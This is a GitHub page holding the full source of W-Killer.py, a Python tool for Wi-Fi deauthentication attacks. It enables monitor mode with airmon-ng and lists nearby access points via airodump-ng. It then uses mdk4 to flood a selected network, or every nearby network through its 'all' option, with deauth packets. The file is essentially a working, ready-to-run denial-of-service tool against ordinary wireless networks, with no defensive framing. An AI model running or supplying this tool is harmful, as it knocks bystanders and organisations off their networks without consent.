-
Notifications
You must be signed in to change notification settings - Fork 15
/
W-Killer.py
executable file
·321 lines (286 loc) · 14.7 KB
/
W-Killer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
#!/usr/bin/env python3
from subprocess import Popen
import os
import csv
import time
# Terminal colors set
DEFAULT = '\033[39m'
BLACK = '\033[30m'
RED = '\033[31m'
GREEN = '\033[32m'
ORANGE = '\033[93m'
BLUE = '\033[34m'
MAGENTA = '\033[95m'
CYAN = '\033[36m'
LIGHTGRAY = '\033[37m'
DARKGRAY = '\033[90m'
LIGHTRED = '\033[91m'
LIGHTGREEN = '\033[92m'
LIGHTORANGE = '\033[33m'
LIGHTBLUE = '\033[94m'
LIGHTCYAN = '\033[96m'
LIGHTMAGENTA = '\033[35m'
WHITE = '\033[97m'
GRAY = '\033[30m'
home = os.path.expanduser('~')
scanned_path = home+'/w-killer/scanned'
DN = open(os.devnull, 'w')
commands = []
if not os.path.exists(scanned_path):
os.makedirs(scanned_path)
os.chdir(scanned_path)
os.system('clear')
def welcomeMsg():
print(f"{LIGHTORANGE}Welcome")
print(f" {ORANGE}To")
print('''
{2} ██╗ ██╗ ██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
{2} ██║ ██║ ██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
{2} ██║ █╗ ██║█████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
{1} ██║███╗██║╚════╝██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
{1} ╚███╔███╔╝ ██║ ██╗██║███████╗███████╗███████╗██║ ██║
{1} ╚══╝╚══╝ ╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
{3}╔╗ ┬ ┬ ╔═╗╦╔═╔═╗╦ ╦
{0}─── {4}╠╩╗└┬┘ ╔═╝╠╩╗╠═╣║║║
{0}-> {3}v1{0}.{4}5{0} {3}╚═╝ ┴ ╚═╝╩ ╩╩ ╩╚╩╝
{2}The possible is already done,
{1}working on the impossible.'''.format(LIGHTGRAY, BLUE, CYAN, ORANGE, LIGHTORANGE))
def is_root():
return os.geteuid() == 0
def quitGracefully(clear=True):
print(f"\n{LIGHTGRAY}Thank you for using {CYAN}W{LIGHTGRAY}-{LIGHTBLUE}Killer{LIGHTGRAY}.\n")
try:
if clear == True:
os.system('clear')
os.system('stty sane') # unfreeze terminal
if (monitor_interface):
print(f"{LIGHTORANGE}* {LIGHTGRAY}Stopping monitoring interface ({LIGHTORANGE}{monitor_interface}{LIGHTGRAY})")
cmd = ['sudo', 'airmon-ng','stop',monitor_interface]
proc_restore = Popen(cmd, stdout=DN, stderr=DN)
proc_restore.communicate()
while proc_restore.wait == 1:
continue
proc_restore.kill()
print(f'{LIGHTORANGE}* {LIGHTGRAY}Restarting {LIGHTORANGE}NetworkManager{LIGHTGRAY}')
cmd = ['sudo', 'service','NetworkManager','restart']
proc_restore = Popen(cmd, stdout=DN, stderr=DN)
proc_restore.communicate()
while proc_restore.wait == 1:
continue
proc_restore.kill()
except:
pass
print(f"{LIGHTGRAY}Don't forget to {GREEN}like {LIGHTGRAY}the repos on {CYAN}github {LIGHTGRAY}! :)")
print(f"{LIGHTBLUE}* {GREEN}https://github.com/ZKAW/wifi-deauther")
print(f'{LIGHTORANGE}Goodbye{LIGHTGRAY}.')
exit(0)
def selectInterface():
os.system('sudo airmon-ng check kill') # disable if not working properly
while True:
try:
os.system('clear')
print('')
welcomeMsg()
monitor_interface = None
interface_list = []
count = -1
for i in os.listdir("/sys/class/net/"):
if not i.startswith('eth') and not i.startswith('lo'):
count += 1
interface_list.append(i)
if i.find('mon') != -1:
print(f" {LIGHTGRAY}[{LIGHTORANGE}{count}{LIGHTGRAY}] {GREEN}{i.strip()}")
else:
print(f" {LIGHTGRAY}[{LIGHTORANGE}{count}{LIGHTGRAY}] {LIGHTGRAY}{i.strip()}")
interface = int(input(f"\n{LIGHTGRAY}Select wifi {CYAN}interface {LIGHTGRAY}for {CYAN}monitoring {LIGHTGRAY}by number from the list above (ex: 0) > {LIGHTORANGE}"))
interface = interface_list[interface]
os.system('clear')
print(f"\n {CYAN}* {LIGHTGRAY}You selected {LIGHTORANGE}{interface}{LIGHTGRAY} for monitoring, waiting for monitor mode to enable...")
for i in os.listdir("/sys/class/net/"):
if not i.startswith('eth') and not i.startswith('lo'):
if i.find('mon') != -1:
if i.find(interface) != -1:
monitor_interface = i
print(f" {CYAN}* {LIGHTGRAY}Monitor interface ({LIGHTORANGE}{monitor_interface}{LIGHTGRAY}) was already {GREEN}enabled{LIGHTGRAY}\n")
time.sleep(2)
break
if monitor_interface == None:
try:
cmd = ['sudo', 'airmon-ng','start',interface]
proc_dump = Popen(cmd, stdout=DN, stderr=DN)
proc_dump.communicate()
while proc_dump.wait == 1:
continue
proc_dump.kill()
for i in os.listdir("/sys/class/net/"):
if not i.startswith('eth') and not i.startswith('lo'):
if i.find('mon') != -1:
if i.find(interface) != -1:
monitor_interface = i
print(f" {GREEN}* {LIGHTGRAY}Monitoring interface ({LIGHTORANGE}{monitor_interface}{LIGHTGRAY}) has been {GREEN}enabled{LIGHTGRAY}\n")
time.sleep(2)
break
else:
print(f'{RED}* {LIGHTGRAY}Error while enabling monitor interface, please {ORANGE}check {LIGHTGRAY}your {ORANGE}wifi {LIGHTGRAY}card {ORANGE}state {LIGHTGRAY}and try again')
quitGracefully(clear=False)
break
except:
print(f'{RED}Error {LIGHTGRAY}while enabling monitor interface, please {ORANGE}check {LIGHTGRAY}your {ORANGE}wifi {LIGHTGRAY}card {ORANGE}state {LIGHTGRAY}and try again')
quitGracefully(clear=False)
return monitor_interface
except ValueError:
os.system('clear')
continue
except IndexError:
os.system('clear')
continue
except KeyboardInterrupt:
quitGracefully()
break
def scanAP(monitor_interface):
cmd = ['sudo', 'airodump-ng', monitor_interface, '-w', 'scanned', '--output-format', 'csv']
for i in os.listdir(scanned_path):
if 'scanned' in i:
os.remove(i)
proc_read = Popen(cmd, stdout=DN, stderr=DN)
while os.path.exists(scanned_path+"/scanned-01.csv") == False:
continue
attempts_count = 0
while True:
try:
os.system('clear')
with open(scanned_path+'/scanned-01.csv') as csv_file:
csv_reader = csv.reader(csv_file, delimiter=',')
hit_clients = False
ssid = None
output_clients = ""
bssid_list = []
ssid_list = []
channel_list = []
count = -1
if output_clients == "":
attempts_count += 1
print(f'\n {CYAN}* {LIGHTGRAY}Starting {CYAN}scan {LIGHTGRAY}of {CYAN}APs {LIGHTGRAY}now...\n')
if attempts_count/2 > 15:
print(f" {RED}* {LIGHTGRAY}Scanning time exceeded {CYAN}15sec{LIGHTGRAY}.\n"\
f" {RED}* {LIGHTGRAY}Please consider {CYAN}restarting {LIGHTGRAY}the script,\n"\
f" {RED}* {LIGHTGRAY}And {ORANGE}verifing {LIGHTGRAY}your {ORANGE}wifi {LIGHTGRAY}card {ORANGE}state{LIGHTGRAY}.")
for row in csv_reader:
if len(row) < 2:
continue
if not hit_clients:
if row[0].strip() == 'Station MAC':
hit_clients = True
continue
if len(row) < 14:
continue
if row[0].strip() == 'BSSID':
continue
enc = row[5].strip()
if len(enc) > 4:
enc = enc[4:].strip()
bssid = row[0].strip()
power = str(row[8].strip())
channel = str(row[3].strip())
ssid = row[13].strip()
ssidlen = int(row[12].strip())
ssid = ssid[:ssidlen]
count += 1
if len(ssid) <= 20:
output_clients += f" {LIGHTGRAY}[{LIGHTORANGE}{count}{LIGHTGRAY}] {BLUE}{ssid.ljust(20)} {CYAN}{channel.rjust(3)} {LIGHTORANGE}{enc.ljust(4)} {CYAN}{power.rjust(4)} {BLUE}{bssid.ljust(10)}{LIGHTGRAY}\n"
else:
output_clients += f" {LIGHTGRAY}[{LIGHTORANGE}{count}{LIGHTGRAY}] {BLUE}{ssid[0:17]}... {CYAN}{channel.rjust(3)} {LIGHTORANGE}{enc.ljust(4)} {CYAN}{power.rjust(4)} {BLUE}{bssid.ljust(10)}{LIGHTGRAY}\n"
bssid_list.append(bssid)
ssid_list.append(ssid)
channel_list.append(channel)
else:
if len(row) < 6:
continue
if output_clients != "":
os.system('clear')
print(f'{LIGHTGRAY}Press {LIGHTORANGE}CTRL+C {LIGHTGRAY}when the target {BLUE}AP {LIGHTGRAY}appears\n')
print(f"{LIGHTGRAY} NUM SSID CH ENCR POWER BSSID")
print(f'{LIGHTGRAY} --- -------------------- -- ---- ----- -----------------')
print(output_clients)
csv_file.close()
time.sleep(0.5) # Allow the user to press CTRL + C
except KeyboardInterrupt:
if ssid is None:
os.system('clear')
print(f"\n {RED}* {LIGHTGRAY}Couldn't catch any {CYAN}AP{LIGHTGRAY}\n")
time.sleep(2)
quitGracefully()
else:
selectAP(proc_read, output_clients, bssid_list, ssid_list, channel_list)
break
def selectAP(proc_read, output_clients, bssid_list, ssid_list, channel_list):
proc_read.kill()
os.system('stty sane') # unfreeze terminal
os.system('clear')
while True:
try:
print(f"{LIGHTGRAY} NUM SSID CH ENCR POWER BSSID")
print(f'{LIGHTGRAY} --- -------------------- -- ---- ----- -----------------')
print(output_clients)
target_id = input(f"{CYAN}Select {LIGHTGRAY}target {BLUE}AP {LIGHTGRAY}to {LIGHTORANGE}deauth {LIGHTGRAY}by number from the list above (ex: 0)\n"\
f'Or type "{CYAN}all{LIGHTGRAY}" to {LIGHTORANGE}deauth {LIGHTGRAY}every nearby {CYAN}APs {LIGHTGRAY}> {LIGHTORANGE}')
target_id = int(target_id)
target_bssid = bssid_list[target_id]
target_ssid = ssid_list[target_id]
target_channel = channel_list[target_id]
os.system('clear')
print(f"\n {GREEN}* {LIGHTGRAY}You selected {BLUE}{target_ssid} {LIGHTGRAY}({CYAN}{target_bssid}{LIGHTGRAY}) on channel {CYAN}{target_channel}{LIGHTGRAY}")
deauthAP(target_bssid, target_ssid, target_channel, monitor_interface)
break
except ValueError:
os.system('clear')
if "all" in str(target_id).lower():
print(f"\n {GREEN}* {LIGHTGRAY}You selected to {LIGHTORANGE}deauth {LIGHTGRAY}every nearby {BLUE}APs{LIGHTGRAY}")
deauthAll()
break
else:
continue
except IndexError:
os.system('clear')
continue
except KeyboardInterrupt:
quitGracefully()
break
def deauthAP(bssid, ssid, channel, monitor_interface):
try:
os.system('sudo airmon-ng check kill') # enable if not working properly
os.system('clear')
print(f'{LIGHTGRAY}Starting {LIGHTORANGE}deauth {LIGHTGRAY}attack for {BLUE}{ssid} {LIGHTGRAY}({CYAN}{bssid}{LIGHTGRAY})'\
f' on channel {CYAN}{channel}{LIGHTGRAY}')
print(f'{LIGHTGRAY}Press {LIGHTORANGE}CTRL+C {LIGHTGRAY}to {RED}STOP{LIGHTGRAY}\n')
print(f'{CYAN}* {LIGHTGRAY}Flooding {CYAN}{bssid} {LIGHTGRAY}on channel {CYAN}{channel} {LIGHTGRAY}of {LIGHTORANGE}deauth {LIGHTGRAY}packets')
cmd = f"sudo mdk4 {monitor_interface} d -c {channel} -B {bssid}"
os.popen(cmd).read()
except KeyboardInterrupt:
quitGracefully()
exit(0)
def deauthAll():
try:
os.system('sudo airmon-ng check kill') # enable if not working properly
os.system('clear')
print(f'{LIGHTGRAY}Starting {LIGHTORANGE}deauth {LIGHTGRAY}attack for {CYAN}every {LIGHTGRAY}nearby {BLUE}APs{LIGHTGRAY}')
print(f'{LIGHTGRAY}Press {LIGHTORANGE}CTRL+C {LIGHTGRAY}to {RED}STOP{LIGHTGRAY}\n')
print(f'{CYAN}* {LIGHTGRAY}Flooding {CYAN}all {LIGHTGRAY}channels {LIGHTGRAY}of {LIGHTORANGE}deauth {LIGHTGRAY}packets')
cmd = f"sudo mdk4 {monitor_interface} d"
os.popen(cmd).read()
except KeyboardInterrupt:
quitGracefully()
exit(0)
try:
if not is_root():
print(f"\n{RED}* {LIGHTGRAY}This script must be run as {ORANGE}root{LIGHTGRAY}")
print(f"{RED}* {LIGHTGRAY}Please try again with {ORANGE}sudo{LIGHTGRAY}")
quitGracefully(clear=False)
monitor_interface = selectInterface()
if monitor_interface == None:
print(f"{RED}* {LIGHTGRAY}Couldn't set {CYAN}monitoring interface{LIGHTGRAY}, please {ORANGE}check {LIGHTGRAY}your {ORANGE}wifi {LIGHTGRAY}card {ORANGE}state {LIGHTGRAY}and try again")
quitGracefully(clear=False)
scanAP(monitor_interface)
except Exception as e:
print(f'\n{LIGHTGRAY}Following {RED}error {LIGHTGRAY}happened: {str(e)}\n')
quitGracefully(clear=False)